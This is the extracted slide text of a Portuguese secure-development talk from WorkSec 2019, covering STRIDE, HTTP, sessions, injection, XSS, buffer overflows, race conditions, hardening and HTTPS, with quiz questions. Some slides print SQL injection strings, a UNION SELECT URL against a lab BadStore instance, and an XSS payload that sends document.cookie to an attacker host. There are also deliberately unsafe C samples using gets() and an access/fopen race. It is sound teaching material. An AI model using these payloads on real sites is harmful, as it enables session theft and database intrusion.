Palestra sobre Desenvolvimento seguro realizada no WorkSec 2019 ministrado pelo professor Alcyon Junior https://worksec.congressodeti.com.br/ A maior imersão em segurança totalmente digital
Google Hacking e SQL Injection: Tudo junto e misturado!
Desenvolvimento seguro - WorkSec 2019
1.
2. O objetivo deste curso é capacitar os treinandos em Codificação
Segura – Fundamentos, com habilidades e conhecimento em
Secure Programming - Foundation.
Objetivo do Curso
“A revolução começa com a informação e termina
com o resultado."
(Bernardo Morais)
Público-Alvo
Todos que desejam ter conhecimento em Fundamentos de Programação
Segura
Todos que tenham interesse no desenvolvimento de softwares seguros e
auditores que irão trabalhar com o Framework Secure Software.
3. Alcyon Junior
Head of Cyber Security na
POUPEX
Três graduações
Redes de
Computadores
Pós em Redes pela
Cisco | MBA em
Governança de TI |
Pós em
CyberSecurity
Mestrado em
Segurança
Cibernética
Autor de livros
sobre Segurança
Cibernética
EHF | ISO27002
| ITILF | CNAP |
CEH | MVM |
LPIC-1
Instrutor
credenciado
pela EXIN e
Líder da OWASP
BSB
#WHOAMI
7. DISCLAIMER
The information contained in this document may be privileged
and confidential and protected from disclosure. If the reader of
this document is not the intended recipient, or an employee
agent responsible for delivering this document to the
intended recipient, you are hereby notified that any
dissemination, distribution or copying of this communication is
strictly prohibited.
9. Objetivos
Reconhecer a tensão entre as exigências do mercado e a segurança
Explicar o jargão de segurança e STRIDE
Descrever questões de segurança HTTP
Explicar o modelo de segurança do navegador
10. Hackers roubaram dados de mais de 2
milhões de clientes da T-Mobile
Dados capturados: nome, e-mail, código postal, número de telefone, e tipo
das contas (pré ou pós-pago).
detectado e contido na segunda-feira, dia 20
3% da base de 77 milhões de clientes foi afetada
hackers – parte de um “grupo internacional” – utilizaram uma API para
acessar o servidor de dados, que foi desativada rapidamente.
houve o comprometimento de um domínio interno de acesso restrito a
funcionários.
O domínio estava respondendo requisições vindas da internet com
informações confidenciais.
Faltava um sistema de controle de borda que validasse as comunicações
14. Causas do Software Inseguro
• Falta de tempo ou falta de dinheiro
• O cliente não solicitou
• Falta de conhecimento
• Más Intenções
• Ninguém vai querer invadir o meu software
15. O que é Segurança?
A Segurança pode ser definida como a proteção contra ameaças
Jargões de Segurança
Fraqueza Uma construção errada que pode prejudicar o sistema e reduzir a segurança.
Vulnerabilidade Uma fraqueza que pode ser explorada.
Explorar Abusar de uma vulnerabilidade específica, tirar proveito com más intenções de alguma falha
específica do sistema.
Ataque Uma tentativa de abusar do sistema, uma tentativa de acesso sem autorização a um sistema.
Ameaça Um potencial ataque.
Mitigar Uma medida para diminuir o impacto da ameaça.
Patch ou Remendo Uma medida para remover a vulnerabilidade de um sistema, corrigir uma falha de um sistema.
Risco Uma potencial perda de valor, usualmente expressada como a probabilidade do impacto de
perder onde se poderia ganhar.
16. Propriedades de Segurança
São propriedades de Segurança
Autenticação Verifica a identidade, se a pessoa ou algo é realmente quem alega ser.
Integridade a informação deve manter as características originais estabelecidas pelo
dono da informação.
Não repúdio impossibilidade de negar a autoria em relação a uma transação feita.
Confidencialidade o acesso deve ser realizado apenas por pessoas autorizadas.
Disponibilidade a informação deve estar sempre disponível a usuários autorizados.
Autorização verifica os privilégios, se a pessoa ou algo tem permissão para acessar
algum recurso ou informação.
17. STRIDE
S Spoofing
Forjamento de
Identidade
Fingir ser alguém ou
algo que você não é
Autenticação
A2-Broken Authentication
and Session Management;
A3-Cross-Site Scripting (XSS)
T Tampering
Adulteração de
Dados
Modificar dados
armazenados ou dados
em trânsito
Integridade
A1-Injection;
A3-Cross-Site Scripting (XSS);
A4- Insecure Direct Object
References;
A6- Sensitive Data Exposure
R Repudiation Rejeição
Negar que fez ou não
fez algo
Não Repúdio
AA2-Broken Authentication and
Session Management;
A10-Unvalidated Redirects and
Forwards
I
Information
Discosure
Divulgação de
Informações
Ver informações que
você não está
permitido a ver
Confidencialidade
A1-Injection;
A3- Cross-Site Scripting (XSS);
A4- Insecure Direct Object
References;
A6- Sensitive Data Exposure
D Denial of Service Recusa de Serviço
Negar um serviço,
deixar o sistema
indisponível.
Disponibilidade
A5-Security Misconfiguration;
A9- Using Components with
Known Vulnerabilities
E
Elevation of
Privilege
Elevação de
Privilégio
Fazer algo sem
permissão
Autorização
A2-Broken Authentication and
Session Management;
A7- Missing Function Level
Access Control;
A8- Cross-Site Request Forgery
(CSRF)
18. Superfície de Ataque e Zonas Confiáveis
Superfície de Ataque Zona de Confiança
Limite de Confiança
Defesa em Profundidade administra o risco, de modo que se uma camada de
defesa é inadequada, outra camada de defesa irá impedir a violação completa.
Falha Segura configura o tratamento de possíveis falhas do sistema que tratam
os possíveis erros que o software venha a ter.
19. Protocolo HTTP
O HTTP é um protocolo que consiste em requisição e resposta.
Possui dois métodos principais que são:
GET: é destinado a operações de leitura
POST: modifica o estado do aplicativo
O padrão HTTP não e claro em certos aspectos. Isso pode levar a equívocos. Este problema é
chamado de Poluição de Parâmetro ou HPP - HTTP Parameter Pollution. São falhas no processo de
validação da entrada de dados
20. Protocolo HTTP
Código 404 – recurso não encontrado
Código 401 – janela de login
Código 403 – acesso proibido
Código 302 – redireciona a página para a URL especificada no cabeçalho
“Location”
Código 200 – tudo ok
As solicitações AJAX funcionam como uma solicitação assíncrona dentro do navegador, usa
o XMLHttpRequest para se comunicar com os scripts do lado do servidor. Enviam o
seguinte cabeçalho:
X-Request-With: XmlHttpRequest
21. GET
http://localhost/insecure/public/Login.jsp?login=admin&pass
admin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 Gecko/20100101 Firfox/14.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q0.9,*/*;q0
.8
Accept-Language: en-us,en;q0.5
Proxy-Connection: keep-alive
Referer: http://localhost/insecure/public/Login.jsp
Cookie: JSESSIONID=73A4496C2B6C846B5E8D8C9DDDBD9D24
GET é mais rápido, envia somente texto, anexada à própria URL, tem
uma limitação de 255 caracteres
Solicitação GET
22. Cabeçalho de Resposta HTTP
Content-Type
X-Content-Type-Options
Content-disposition
Location
WWW-Authenticate
Set-Cookie
Cache-control
Ataque de
Divisão de
Resposta
HTTP
CRLF é um caractere de
avanço de linha. Uma
CRLF dupla irá incluir uma
linha em branco e pode
permitir um ataque de
injeção de cabeçalho
HTTP
Ataque de
Injeção de
Cabeçalho
HTTP
Técnica maliciosa que
redireciona para
sequestrar a sessão e
roubar a informação ou
ainda injetar códigos no
computador da vítima.
23. SOP – Política de Mesma Origem
Política de Mesma Origem ou Same Origin Policy - SOP
• Descreve sob quais condições scripts e programas em sites
podem acessar o conteúdo em outros sites.
• Os detalhes desta política diferem por navegadores e até por
versão dos navegadores.
24. Revisão
Jargões e Princípios de Segurança
STRIDE
Superfícies de Ataque e Zonas de Ataque
Defesa em Profundidade e Falhar Seguro
GET e POST
HTTP e Códigos de Status
Cabeçalho HTTP
Ataques no Cabeçalho de Resposta HTTP
Política de Mesma Origem
25. Exercícios
A que se refere a letra ‘S’ do acrônimo STRIDE ?
A. Divulgação de Informações
B. Segurança da Informação
C. Forjamento de Identidade
D. Recusa de Serviço
27. Objetivos
• Identificar problemas envolvidos no uso de senha.
• Aplicar princípios de gerenciamento de senhas.
• Explicar como funciona o gerenciamento de sessão.
• Reconhecer problemas em gerenciamento de sessão.
• Reconhecer as melhores soluções para problemas em gerenciamento de sessão.
• Reconhecer problemas e soluções de CSRF e Clickjacking.
28. Senhas
• Entropia da Senha
• Senhas longas versus senhas complexas
• Mitigações
• Tentativas de Autenticação
• Atraso
• Bloqueio de conta
• Armazenamento de Senha
29. Gerenciamento de sessão
Logon
Entrar
Início da Sessão
Longa ID de sessão
Sem reuso de ID de sessão
Enviar cookies via canal encriptado
Atualiza
Sessão
Direto após o log-on
Invalida a sessão anterior
Logout
Sair
Invalida a sessão
30. CSRF e Clickjacking
• Cross-Site Request Forgery (CSRF) ou Falsificação de
Solicitação Cruzada entre Sites;
• Clickjacking;
WebSite
Malicioso
36. Exercício
O que mais se aproxima ao conceito de Clickjacking:
A. Roubo de Senhas de autenticação por força bruta;
B. Acontece quando o invasor prepara uma armadilha e utiliza CSS ou JavaScript
para fazer com que a vítima clique em algo que não tem intenção,
ocasionando um furto de cliques;
C. Ocorre quando um site realiza uma solicitação ou uma referência cruzada em
outro site sem o consentimento do usuário;
D. Método utilizado para invalidar uma sessão ativa em HTTP;
38. Objetivos
• Reconhecer os problemas de ataques de injeção.
• Explicar a diferença entre consultas diretas e parametrizadas.
• Aplicar soluções para ataques de injeção SQL.
• Explicar a diferença entre filtros de lista branca (whitelist) e lista negra (blacklist).
• Aplicar validação de entrada.
• Reconhecer quando aplicar normalização de entrada e codificação.
• Identificar onde ocorrem estouros de buffer e como eles impactam a segurança.
• Reconhecer a diferença entre ataques XSS refletidos e armazenados e as
mitigações.
• Aplicar soluções para ataques XSS.
39. Ataques de injeção – injeção de SQL
SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
1' or '1' = '1
1' or '1' = ‘1
Resultado da Query:
SELECT * FROM Users WHERE Username='1' OR '1' =
'1' AND Password='1' OR '1' = '1'
41. Ataques de injeção – injeção de SQL
http://192.168.15.51/cgi-
bin/badstore.cgi?searchquery=1%27%3D%270%27+UNION+
SELECT+1%2C+1%2C+1%2C+1+from+userdb+%23+&action=se
arch&x=0&y=0
1'='0' UNION SELECT 1, 1, 1, 1 from userdb #
42. • Não use SQL dinâmico quando puder ser evitado: use instruções preparadas, consultas
parametrizadas ou procedimentos armazenados, sempre que possível.
• Atualização e correção: vulnerabilidades em aplicativos e bancos de dados que hackers podem
explorar usando SQL injection são regularmente descobertas, por isso é vital aplicar patches e
atualizações assim que possível.
• Reduza sua superfície de ataque: Livre-se de qualquer funcionalidade de banco de dados que
você não precise impedir que um hacker tire vantagem disso. Por exemplo, o procedimento
armazenado estendido xp_cmdshell no MS SQL gera um shell de comando do Windows e passa
uma cadeia para execução, o que pode ser muito útil para um hacker. O processo do Windows
gerado por xp_cmdshell tem os mesmos privilégios de segurança que a conta de serviço do SQL
Server.
• Use os privilégios apropriados: não se conecte ao seu banco de dados usando uma conta com
privilégios de nível de administrador, a menos que haja algum motivo convincente para fazê-lo.
Usar uma conta de acesso limitado é muito mais seguro e pode limitar o que um hacker é capaz
de fazer.
4 dicas para mitigar os Ataques de SQLi
44. Estouros de buffer ou
Transbordamento de Buffer
#include <stdio.h>
#include <stdlib.h>
#define BUFLEN 80
void doit(int offset)
{
char buffer[BUFLEN];
gets(&buffer[offset]);
/* do more */
}
int main(void)
{
doit(0);
return 0;
}
45. O Cross-Site-Scripting ou
Script Cruzado entre Sites (XSS)
Hacker Vítima Seu site
Browser/app
/WWW
Infecta com script
Explora
Visita
Injeta script
Explora
46. Ataques de XSS
<script>alert("HaCkEd by AlcyJones")</script>
<script>new Image()
.src="http://192.168.1.10/alcyonjones.php?output="
+document.cookie;</script>
48. Exercícios – Soluções para SQL Injection
Qual destas alternativas não é uma solução possível para evitar
ataques de SQL Injection?
A. Realizar consultas parametrizadas;
B. Utilizar a técnica de saída para neutralizar meta-
caracteres;
C. Realizar a validação de entrada;
D. Realizar um CSRF;
49. Exercício - Validação de Entrada
Quais destes não é um método aplicável à validação de entrada?
A. Lista Branca e Lista Preta
B. Higienização
C. Buffer Overflow ou Transbordamento de Buffer.
D. Usar expressões regulares
50. Exercício
O cross-site scripting ou XSS ou script cruzado entre sites é um ataque
onde um invasor pode executar um JavaScript na saída. Qual destes não
é um tipo de XSS?
A. XSS de Transbordamento de Pilha;
B. XSS Refletido;
C. XSS Armazenado;
D. XSS baseado em DOM;
52. Objetivos
Reconhecer a diferença entre autorização horizontal e vertical.
Reconhecer a diferença entre referências diretas e indiretas.
Reconhecer envenenamento de sessão e condições de corrida.
53. Autorização de horizontal e Vertical
Editor Jornalista A Jornalista B
Criar X
√ √
Leitura
√ √ √
Modificar
√ √ √
Publicar
√
X X
55. Condições de corrida (ataque TOCTOU)
if (!access("/tmp/mydata.txt",W_OK)) {
// TOC: verifica se tem permissões de
escrita
// ...
// JANELA DE ATAQUE
f = fopen("/tmp/mydata.txt","w+");
// TOU: abre o arquivo para edição
write_data_to_file(f);
} else {
fprintf(stderr,“Não é permitido abrir o
arquivo!n");
}
56. Revisão
Autorização Horizontal e Vertical
Escalada de Privilégios
Problemas de Autorização e Como Mitigar estes Problemas
Condições de Corrida
Envenenamento de Sessão
57. Exercício
Qual a diferença entre Autorização e Autenticação?
A. Autorização é o processo de verificar a identidade de alguém e Autenticação é
o processo de verificar se alguém tem permissão para realizar uma operação.
B. Autenticação é o processo de verificar a identidade de alguém e Autorização é
o processo de verificar se alguém tem permissão para realizar uma operação.
C. Autenticação e Autorização são processos para verificar a identidade de
alguém.
D. Autenticação e Autorização são processos para verificar se alguém tem
permissão para realizar uma operação.
59. Objetivos
Justificar a necessidade de endurecimento.
Reconhecer métodos de endurecimento.
Reconhecer diferentes vazamentos de informação.
Explicar a importância do registro para a segurança.
Explicar o princípio de 'Falhar com Segurança'.
Reconhecer ataques por recusa de serviço e mitigações.
60. Componentes de Terceiros, Configuração e
Endurecimento
Aplicando os patches ou correções de segurança
mais recentes
Restringir o acesso a funcionalidades perigosas
Configurando privilégios de acesso
Desativar ou remover recursos de depuração (debug)
Removendo arquivos desnecessários
Alterando senhas padrão
61. Vazamentos de informações
• Inocente?
• Não ajude o hacker.
• Exemplos de vazamento:
• Comentários HTML
• Informações sobre a versão
• Rastreamento de Pilha, IP e servidores em Produção
• Endereços de e-mail pessoais
62. Como evitar definitivamente o
Vazamentos de informações
• Os cabeçalhos de resposta HTTP vazam informações de versão, permitindo ao
invasor procurar por vulnerabilidades específicas.
• As páginas de erro pode exibir exatamente como o erro aconteceu, dando ao
atacante pistas de como a vulnerabilidade poderia ser explorada.
• Endereços IP internos e caminhos de servidores ajudam o atacante a definir
novas metas depois que um sistema tenha sido comprometido ou se o
atacante usa o browser de alguém para realizar ataques de dentro.
• Comentários nas páginas HTML mostrando os nomes e emails ajudam a
realizar o ataque de engenharia social.
• Arquivos de gerenciamento de versão podem vazar informações do código
fonte da aplicação.
63. Manejo e Registro de erros
• Falhar de forma segura!
• Guarde todas as informações necessárias para detectar um ataque. (Logs)
• Tratamento de Erros
• Registro de Erros ou Logs
65. 5 dicas para mitigar o dDos
•Mitigar:
- Limitar a quantidade de recursos que podem ser alocados
- Utilizar ferramentas que auxiliam contra o DoS ou DDoS
- Aplicar patches de segurança
- Limitar o tamanho da banda
- Construir um plano de contingência
67. Exercício
Qual a diferença entre Autorização e Autenticação?
A. Autorização é o processo de verificar a identidade de alguém e Autenticação é
o processo de verificar se alguém tem permissão para realizar uma operação.
B. Autenticação é o processo de verificar a identidade de alguém e Autorização é
o processo de verificar se alguém tem permissão para realizar uma operação.
C. Autenticação e Autorização são processos para verificar a identidade de
alguém.
D. Autenticação e Autorização são processos para verificar se alguém tem
permissão para realizar uma operação.
68. Exercício
Qual das alternativas lista um meio de endurecimento, visando reduzir a
superfície de ataque de um software ?
A. Evitar aplicar patches ou pacotes de correção;
B. No caso de erro, exibir registro com todos os IPs utilizados, inclusive dos
servidores de produção internos;
C. Alterar senhas padrão;
D. Manter acesso as funcionalidades perigosas ou desnecessárias.
70. Objetivos
Explicar a importância do Princípio de Kerckhoff, Manejo de Chaves e
Aleatoriedade.
Descrever a criptografia de chave pública, ataques de homem do meio e
certificados.
Reconhecer as ameaças a SSL/TLS/HTTPS.
Aplicar HTTPS corretamente.
71. Princípio de Kerckhoff
Um bom algoritmo de criptografia não deve depender do sigilo do próprio algoritmo.
A única parte que precisa ser secreta é a chave.
Auguste Kerckhoffs, 1883
74. Revisão
Criptografia Simétrica e Assimétrica
Chave pública e chave privada
Ataque Homem-do-Meio ou Man-In-The-Midde
Certificado Digital
HTTPS
HSTS
75. Exercício
Como aplicar corretamente o HTTPS? Escolha uma das alternativas:
A. Utilizar sempre a criptografia mais forte possível (CIPHER – CIFRA);
B. Permitir tanto o uso do HTTP quanto do HTTPS;
C. Implementar a verificação do certificado, verificar se a autoridade que emitiu
o certificado não está comprometida, se a chave não está comprometida, se
o certificado não foi revogado;
D. Ignorar os alertas e mensagens de certificado inválido;
77. Objetivos
Identificar requisitos de segurança em falta.
Reconhecer ambiguidades e pressupostos ocultos em determinadas condições e
contextos.
Reconhecer ameaças que são inerentes a uma arquitetura específica.
Reconhecer soluções adequadas a ameaças e as imperfeições nessas soluções.
Reconhecer o escopo, objetivo e vantagens da revisão de código para as práticas
de desenvolvimento.
Lembrar diferentes métodos para testes de segurança.
Reconhecer o melhor teste para um determinado cenário.
Identificar formas de melhorar o desenvolvimento de software e processos de
testes, incorporando resultados de testes.
79. #DICA – STRIDE para Requisito de Seg
S Forjamento de Identidade / Requisito de Segurança Autenticação, uso de senhas
T Adulteração de Dados / Requisito de Segurança Integridade, manipulação ou validação de entrada
R Rejeição / Requisito de Segurança Não rejeição, registro
I Divulgação de Informações / Requisito de Segurança Confidencialidade, criptografia
D Recusa de Serviço / Requisito de Segurança Disponibilidade, limitar o consumo de recursos
E Elevação de Privilégios / Requisito de Segurança Autorização, realizar verificações de autorização
84. Exercício
Quais destes é uma técnica de Teste de Segurança que pode gerar uma
grande quantidade de dados de testes, executar os testes a partir dos
dados gerados, monitorar os resultados e reestabelecer o sistema em
caso de falha?
A. Teste de Penetração
B. Teste de Abuso
C. Teste de Feedback
D. Fuzzing
85. VAMOS PENSAR UM POUCO?
“- aquele que conhece o inimigo e a si mesmo,
lutará cem batalhas sem perigo de derrota;
- para aquele que não conhece o inimigo, mas
conhece a si mesmo, as chances para a vitória ou
para a derrota serão iguais;
- aquele que não conhece nem o inimigo e nem a si
próprio, será derrotado em todas as batalhas.”
SunTzu (A arte da Guerra)